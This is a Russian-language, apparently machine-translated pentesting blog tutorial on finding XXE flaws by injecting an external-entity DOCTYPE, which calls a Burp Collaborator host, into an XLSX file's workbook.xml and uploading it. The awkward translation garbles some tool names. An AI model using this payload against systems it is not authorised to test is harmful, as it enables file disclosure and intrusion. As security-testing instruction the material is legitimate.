Уязвимость внешней сущности XML (XXE) заключается в том, что при синтаксическом анализе структуры XML-документа, называемой определением типа документа (DTD), можно определить собственные XML-сущности. В зависимости от обработчика XML на стороне сервера и конфигурации среды этот тип уязвимости может использоваться по-разному. Начиная со перечисления каталогов в системе, чтения файлов приложения и системы, получения зашифрованного пароля пользователя приложения, а также передачи файлов на сервер или выполнения системных команд.
Классический сценарий этого типа уязвимости предполагает, что мы имеем дело с запросом, содержащим в нашем теле xml, к которому мы добавляем часть, ответственную за определения нашей собственной сущности. Однако эта уязвимость также может возникнуть при работе с приложением, которое каким-то образом обрабатывает файлы Excel. XLSX , Слово . DOCX или PowerPoint . PPTX. Мы обязаны этому тому, что эти типы файлов являются OOXML-совместимыми, поэтому они просто упакованы несколькими файлами. XML.
Сценарий быстрой атаки выглядит следующим образом:
- Создайте новый пустой документ . XLSX. Для этой цели он может использовать «Google Sheet».
![Лист Google](https://sp-ao.shortpixel.ai/client/to_auto,q_lossy,ret_img,w_1024,h_595/https://my127001.pl/wp-content/uploads/2021/07/image-1024x595.png)
2. Открыть Burp Suite Профессиональный -> Отрыжка -> Клиент Соавтора Отрыжки. Затем нажмите кнопку «Копировать в буфер обмена». В моем случае адрес сервера был следующим — lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.
В качестве альтернативы, если у вас есть внешний IP, вы можете использовать простой HTTP-сервер на python — "python3 -m http.server 8080".
3. Откройте загруженный файл с помощью 7zip.
![Xlxs издание](https://sp-ao.shortpixel.ai/client/to_auto,q_lossy,ret_img,w_565,h_217/https://my127001.pl/wp-content/uploads/2021/07/image-1.png)
3. Отредактируйте файл "workbook.xml" в каталоге "xl", добавив следующий код (разумеется, заменив адрес сервера своим собственным):
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>
ПРИМЕЧАНИЕ — В одном из тестируемых я приложений уязвимость xxe выявилась после редактирования "[Content_Types].xml", поэтому стоит проверить этот файл.
![издание рабочей тетради.xml](https://sp-ao.shortpixel.ai/client/to_auto,q_lossy,ret_img,w_619,h_640/https://my127001.pl/wp-content/uploads/2021/07/image-2.png)
![издание рабочей тетради.xml](https://sp-ao.shortpixel.ai/client/to_auto,q_lossy,ret_img,w_1024,h_269/https://my127001.pl/wp-content/uploads/2021/07/image-3-1024x269.png)
4. Сохраните изменения и загрузите файл в тестируемое приложение.
5. Теперь проверьте клиент Collaborator на наличие любых запросов:
![клиент-соавтор отрыжки](https://sp-ao.shortpixel.ai/client/to_auto,q_lossy,ret_img,w_743,h_507/https://my127001.pl/wp-content/uploads/2021/07/image-4.png)
6. Наслаждайтесь 🙂 — вы только что подтвердили уязвимость xxe в тестируемом приложении и можете приступить к дальнейшему ее использованию.
Общей функцией безопасности в отношении XXE является полное отключение загрузки внешних сущностей в синтаксический анализатор XML.